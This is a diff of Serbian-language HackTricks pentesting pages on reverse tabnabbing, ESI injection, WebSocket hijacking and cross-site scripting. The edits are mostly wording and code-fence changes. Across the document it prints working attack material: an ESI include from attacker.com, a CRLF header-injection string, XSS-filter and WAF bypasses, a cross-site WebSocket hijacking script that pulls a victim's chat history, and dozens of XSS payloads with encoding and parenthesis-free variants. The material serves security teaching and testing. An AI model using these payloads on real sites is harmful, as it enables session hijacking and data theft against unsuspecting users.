Međutim, imajte na umu da pošto **napadač sada može da kontroliše objekat prozora originalne web stranice**, može ga zloupotrebiti na druge načine za izvođenje **diskretnijih napada** (možda modifikovanjem javascript događaja da izvuče informacije na server pod njegovom kontrolom?)
|
||||
Međutim, imajte na umu da pošto **napadač sada može kontrolisati objekat prozora originalne web stranice**, može ga zloupotrebiti na druge načine za izvođenje **diskretnijih napada** (možda modifikovanjem javascript događaja da izvuče informacije na server pod njegovom kontrolom?)
|
||||
|
||||
# Pregled
|
||||
|
||||
@ -27,7 +27,7 @@ Link između roditeljskih i dečijih stranica kada je atribut za prevenciju kori
|
||||
|
||||
Kreirajte sledeće stranice u folderu i pokrenite web server sa `python3 -m http.server`\
|
||||
Zatim, **pristupite** `http://127.0.0.1:8000/`vulnerable.html, **kliknite** na link i primetite kako se **URL** **originalne** **web stranice** **menja**.
|
||||
```markup:vulnerable.html
|
||||
```html:vulnerable.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -37,7 +37,7 @@ Zatim, **pristupite** `http://127.0.0.1:8000/`vulnerable.html, **kliknite** na l
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious.html
|
||||
```html:malicious.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious_redir.html
|
||||
```html:malicious_redir.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -58,14 +58,14 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
```
|
||||
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
|
||||
|
||||
U scenariju gde se dešava **cross-origin** pristup (pristup preko različitih domena), svojstva **window** JavaScript klase, na koja se poziva putem **opener** JavaScript objekta, koja mogu biti dostupna zloćudnom sajtu su ograničena na sledeće:
|
||||
U scenariju gde se dešava **cross-origin** pristup (pristup preko različitih domena), svojstva **window** JavaScript klase instance, na koja se poziva putem **opener** JavaScript objekta, koja mogu biti dostupna zloćudnom sajtu su ograničena na sledeće:
|
||||
|
||||
- **`opener.closed`**: Ovo svojstvo se koristi da se utvrdi da li je prozor zatvoren, vraćajući boolean vrednost.
|
||||
- **`opener.frames`**: Ovo svojstvo omogućava pristup svim iframe elementima unutar trenutnog prozora.
|
||||
- **`opener.length`**: Broj iframe elemenata prisutnih u trenutnom prozoru se vraća ovim svojstvom.
|
||||
- **`opener.opener`**: Referenca na prozor koji je otvorio trenutni prozor može se dobiti putem ovog svojstva.
|
||||
- **`opener.parent`**: Ovo svojstvo vraća roditeljski prozor trenutnog prozora.
|
||||
- **`opener.self`**: Pristup trenutnom prozoru se obezbeđuje ovim svojstvom.
|
||||
- **`opener.self`**: Pristup trenutnom prozoru samom se obezbeđuje ovim svojstvom.
|
||||
- **`opener.top`**: Ovo svojstvo vraća najgornji prozor pretraživača.
|
||||
|
||||
Međutim, u slučajevima kada su domeni identični, zloćudni sajt dobija pristup svim svojstvima koja izlaže [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript objekat.
|
||||
|
@ -112,7 +112,7 @@ Sledeća ESI direktiva će učitati proizvoljnu datoteku unutar odgovora servera
|
||||
```xml
|
||||
<esi:include src=http://attacker.com/xss.html>
|
||||
```
|
||||
#### Obilaženje XSS zaštite klijenta
|
||||
#### Zaobilaženje zaštite od XSS na klijentu
|
||||
```xml
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
|
||||
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
|
||||
#### Privatna Lokalna Datoteka
|
||||
|
||||
Ne mešajte ovo sa "Uključivanjem Lokalnih Datoteka":
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### Open Redirect
|
||||
|
@ -1,4 +1,4 @@
|
||||
# WebSocket Napadi
|
||||
# WebSocket napadi
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
WebSocket veze se uspostavljaju kroz inicijalni **HTTP** rukovanje i dizajnirane su da budu **dugoročne**, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju **nisku latenciju ili komunikaciju iniciranu sa servera**, kao što su strimovi uživo finansijskih podataka.
|
||||
|
||||
### Uspostavljanje WebSocket Veza
|
||||
### Uspostavljanje WebSocket veza
|
||||
|
||||
Detaljno objašnjenje o uspostavljanju WebSocket veza može se pronaći [**ovde**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Ukratko, WebSocket veze se obično iniciraju putem JavaScript-a na klijentskoj strani kao što je prikazano u nastavku:
|
||||
```javascript
|
||||
@ -16,7 +16,7 @@ Protokol `wss` označava WebSocket vezu obezbeđenu sa **TLS**, dok `ws` označa
|
||||
|
||||
Tokom uspostavljanja veze, vrši se razmena poruka između pregledača i servera putem HTTP-a. Proces razmene uključuje slanje zahteva od strane pregledača i odgovor servera, kao što je prikazano u sledećim primerima:
|
||||
|
||||
Pregledač šalje zahtev za razmenu poruka:
|
||||
Pregledač šalje zahtev za razmenu:
|
||||
```javascript
|
||||
GET /chat HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -33,20 +33,20 @@ Connection: Upgrade
|
||||
Upgrade: websocket
|
||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
Konekcija ostaje otvorena za razmenu poruka u oba pravca nakon uspostavljanja.
|
||||
Veza ostaje otvorena za razmenu poruka u oba pravca nakon uspostavljanja.
|
||||
|
||||
**Ključne tačke WebSocket rukovanja:**
|
||||
|
||||
- `Connection` i `Upgrade` zaglavlja signaliziraju inicijaciju WebSocket rukovanja.
|
||||
- `Sec-WebSocket-Version` zaglavlje označava željenu verziju WebSocket protokola, obično `13`.
|
||||
- Base64-enkodirana nasumična vrednost se šalje u `Sec-WebSocket-Key` zaglavlju, osiguravajući da je svako rukovanje jedinstveno, što pomaže u sprečavanju problema sa keširanjem proksija. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisanog servera ili keša.
|
||||
- `Sec-WebSocket-Accept` zaglavlje u odgovoru servera je hash `Sec-WebSocket-Key`, verifikujući nameru servera da otvori WebSocket konekciju.
|
||||
- `Sec-WebSocket-Accept` zaglavlje u odgovoru servera je hash `Sec-WebSocket-Key`, verifikujući nameru servera da otvori WebSocket vezu.
|
||||
|
||||
Ove karakteristike osiguravaju da je proces rukovanja siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.
|
||||
|
||||
### Linux konzola
|
||||
|
||||
Možete koristiti `websocat` za uspostavljanje sirove konekcije sa websocket-om.
|
||||
Možete koristiti `websocat` za uspostavljanje sirove veze sa websocket-om.
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
@ -68,7 +68,7 @@ Možete koristiti **alat** [**https://github.com/PalindromeLabs/STEWS**](https:/
|
||||
### Websocket Debug alati
|
||||
|
||||
- **Burp Suite** podržava MitM websockets komunikaciju na vrlo sličan način kao što to radi za regularnu HTTP komunikaciju.
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite ekstenzija** će vam omogućiti da bolje upravljate Websocket komunikacijama u Burp-u dobijajući **istoriju**, postavljajući **pravila za presretanje**, koristeći **pravila za podudaranje i zamenu**, koristeći **Intruder** i **AutoRepeater.**
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite ekstenzija** će vam omogućiti bolje upravljanje Websocket komunikacijama u Burp-u dobijanjem **istorije**, postavljanjem **pravila za presretanje**, korišćenjem **pravila za podudaranje i zamenu**, korišćenjem **Intruder** i **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skraćeno od "**WebSocket/Socket.io Proxy**", ovaj alat, napisan u Node.js, pruža korisnički interfejs za **hvatanje, presretanje, slanje prilagođenih** poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) je **interaktivni websocket REPL** dizajniran posebno za penetraciono testiranje. Pruža interfejs za posmatranje **dolaznih websocket poruka i slanje novih**, sa jednostavnim okvirom za **automatizaciju** ove komunikacije.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) je **web za komunikaciju** sa drugim webovima koristeći **websockets**.
|
||||
@ -88,8 +88,8 @@ Napadači mogu iskoristiti ovo tako što će hostovati **zloćudnu web stranicu*
|
||||
|
||||
Imajte na umu da kada **uspostavljate** **websocket** vezu, **kolačić** se **šalje** serveru. **Server** može koristiti to da **poveže** svakog **specifičnog** **korisnika** sa njegovom **websocket** **sesijom na osnovu poslatog kolačića**.
|
||||
|
||||
Zatim, ako na **primer** **websocket** **server** **pošalje istoriju razgovora** korisnika ako se pošalje poruka sa "**READY"**, tada će **jednostavan XSS** koji uspostavlja vezu (**kolačić** će biti **poslat** **automatski** da autorizuje korisnika žrtvu) **slanjem** "**READY**" moći da **dobije** istoriju **razgovora**.
|
||||
```markup
|
||||
Tada, ako na **primer** **websocket** **server** **vrati istoriju razgovora** korisnika ako se pošalje poruka sa "**READY"**, tada će **jednostavan XSS** koji uspostavlja vezu (**kolačić** će biti **poslat** **automatski** da autorizuje korisnika žrtvu) **slanjem** "**READY**" moći da **dobije** istoriju **razgovora**.
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
websocket.onopen = start
|
||||
@ -134,17 +134,17 @@ Izlaganjem web aplikacije i omogućavanjem korisniku da se poveže na nju, moći
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
## Utrke uslova
|
||||
## Uslovi trke
|
||||
|
||||
Utrke uslova u WebSocket-ima su takođe prisutne, [proverite ove informacije da biste saznali više](race-condition.md#rc-in-websockets).
|
||||
Uslovi trke u WebSocket-ima su takođe prisutni, [proverite ove informacije da biste saznali više](race-condition.md#rc-in-websockets).
|
||||
|
||||
## Druge ranjivosti
|
||||
|
||||
Pošto su Web Sockets mehanizam za **slanje podataka na serversku i klijentsku stranu**, u zavisnosti od toga kako server i klijent obrađuju informacije, **Web Sockets se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.**
|
||||
Pošto su WebSocket-i mehanizam za **slanje podataka na serversku i klijentsku stranu**, u zavisnosti od toga kako server i klijent obrađuju informacije, **WebSocket-i se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.**
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Ova ranjivost bi mogla omogućiti da **zaobiđete ograničenja obrnute proxy usluge** tako što će ih naterati da veruju da je **uspostavljena websocket komunikacija** (čak i ako to nije tačno). Ovo bi moglo omogućiti napadaču da **pristupi skrivenim krajnjim tačkama**. Za više informacija proverite sledeću stranicu:
|
||||
Ova ranjivost bi mogla omogućiti da **zaobiđete ograničenja obrnute proxy usluge** tako što će ih naterati da veruju da je **websocket komunikacija uspostavljena** (čak i ako to nije tačno). Ovo bi moglo omogućiti napadaču da **pristupi skrivenim krajnjim tačkama**. Za više informacija proverite sledeću stranicu:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
@ -45,7 +45,7 @@ Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vred
|
||||
|
||||
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
|
||||
|
||||
### Sirov HTML
|
||||
### Sirovi HTML
|
||||
|
||||
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
|
||||
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
@ -56,8 +56,8 @@ Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati
|
||||
|
||||
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
|
||||
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ako **ne možete pobjeći iz atributa** (`"` je kodiran ili obrisan), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš unos odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da to iskoristite): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš unos odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
|
||||
```html
|
||||
@ -69,7 +69,7 @@ Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati
|
||||
|
||||
U ovom slučaju, vaš unos se odražava između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol:
|
||||
|
||||
- Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubrizgate `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša ubrizgana `</script>` oznaka unutar HTML koda.
|
||||
- Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `</script>` oznaka unutar HTML koda.
|
||||
- Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
@ -84,7 +84,7 @@ alert(1)
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene kako biste mogli da iskoristite scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
|
||||
**Proverite sledeću stranicu za više informacija:**
|
||||
**Pogledajte sledeću stranicu za više informacija:**
|
||||
|
||||
{{#ref}}
|
||||
js-hoisting.md
|
||||
@ -151,9 +151,9 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
Kada se vaš unos odražava **unutar HTML stranice** ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
|
||||
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Napomena: HTML komentar se može zatvoriti koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_
|
||||
_**Napomena: HTML komentar može biti zatvoren koristeći\*\*\*\*\*\***\***\*`-->`\*\***\***\*ili \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payloads kao:
|
||||
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -228,14 +228,14 @@ onerror=alert`1`
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
|
||||
> [!NOTE] > **Više malih XSS za različite okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Više malih XSS za različita okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
Više ovih karaktera možete pronaći [ovde](https://www.unicode.org/charts/normalization/).\
|
||||
Da proverite u koje se karaktere dekomponuje, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
|
||||
Da proverite u koje karaktere su dekomponovani, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
@ -250,7 +250,7 @@ Ako mislite da je **nemoguće kreirati HTML tag sa atributom za izvršavanje JS
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
Ako ste **unutar HTML taga**, prva stvar koju možete pokušati je da **izbegnete** tag i koristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) za izvršavanje JS koda.\
|
||||
Ako **ne možete da izbegnete tag**, možete kreirati nove atribute unutar taga da biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru koriste dvostruki navodnici za izbegavanje iz atributa, nećete ih trebati ako se vaš unos direktno reflektuje unutar taga_):
|
||||
Ako **ne možete da pobegnete iz taga**, možete kreirati nove atribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru koriste dvostruki navodnici za izbegavanje iz atributa, nećete ih trebati ako se vaš unos direktno reflektuje unutar taga_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -303,7 +303,7 @@ Napomena da je **svaka vrsta HTML kodiranja validna**:
|
||||
```
|
||||
### Posebni protokoli unutar atributa
|
||||
|
||||
Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, dok neki neće.
|
||||
Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, a neki neće.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -325,8 +325,8 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Mesta gde možete ubrizgati ove protokole**
|
||||
|
||||
**Uopšteno** `javascript:` protokol se može **koristiti u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
|
||||
```markup
|
||||
**Uopšteno** `javascript:` protokol se može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
<form action="javascript:alert(1)"><button>send</button></form>
|
||||
@ -357,11 +357,11 @@ Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload** to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
|
||||
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
|
||||
|
||||
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
|
||||
|
||||
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisete **HTML tagove za izvršavanje JS**:
|
||||
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -373,7 +373,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
|
||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Obrnuto nabbing kartica
|
||||
### Obrnuto navođenje taba
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
@ -422,8 +422,8 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
|
||||
```markup
|
||||
Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **uveriti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**XSS payload će biti nešto poput ovoga: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
@ -438,13 +438,13 @@ Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom
|
||||
- **Hex i Oktalno kodiranje**
|
||||
- **data kodiranje**
|
||||
|
||||
**Obilaženje za HTML tagove i atribute**
|
||||
**Obilaženja za HTML tagove i atribute**
|
||||
|
||||
Pročitajte [Obilaženje crne liste iz prethodnog odeljka](#blacklist-bypasses).
|
||||
Pročitajte [Obilaženja crne liste prethodnog odeljka](#blacklist-bypasses).
|
||||
|
||||
**Obilaženje za JavaScript kod**
|
||||
**Obilaženja za JavaScript kod**
|
||||
|
||||
Pročitajte [JavaScript obilaženje crne liste iz sledećeg odeljka](#javascript-bypass-blacklists-techniques).
|
||||
Pročitajte [JavaScript obilaženje crne liste sledećeg odeljka](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
@ -452,7 +452,7 @@ Ako ste pronašli **XSS u veoma malom delu** veba koji zahteva neku vrstu intera
|
||||
|
||||
Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Ali, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
|
||||
Ali, ako WAF filtrira stil atribut, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -468,7 +468,7 @@ Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a
|
||||
|
||||
## Umetanje unutar JavaScript koda
|
||||
|
||||
U ovom slučaju, vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
|
||||
U ovim slučajevima vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
|
||||
|
||||
### Izbegavanje \<script> taga
|
||||
|
||||
@ -488,7 +488,7 @@ Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Da biste konstruisali **nizove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||
Da biste konstruisali **nizove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS niza koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
||||
|
||||
Ovo se može **zloupotrebiti** koristeći:
|
||||
@ -496,21 +496,21 @@ Ovo se može **zloupotrebiti** koristeći:
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
|
||||
```````````````javascript
|
||||
```javascript
|
||||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||||
function loop() {
|
||||
return loop
|
||||
}
|
||||
loop``````````````
|
||||
```````````````
|
||||
### Izvršavanje kodova u kodiranom obliku
|
||||
```markup
|
||||
loop``
|
||||
```
|
||||
### Izvršenje kodova u kodiranom obliku
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Unicode Encode JS izvršavanje
|
||||
### Unicode kodiranje JS izvršavanje
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -599,7 +599,7 @@ console.log(log)
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**JavaScript bez zagrada**
|
||||
````javascript
|
||||
```javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||||
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
````
|
||||
```
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Poziv proizvoljne funkcije (alert)**
|
||||
````javascript
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
setTimeout('ale'+'rt(2)');
|
||||
@ -735,7 +735,7 @@ top['al\145rt'](1)
|
||||
top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
```
|
||||
## **DOM ranjivosti**
|
||||
|
||||
Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\
|
||||
@ -748,29 +748,29 @@ dom-xss.md
|
||||
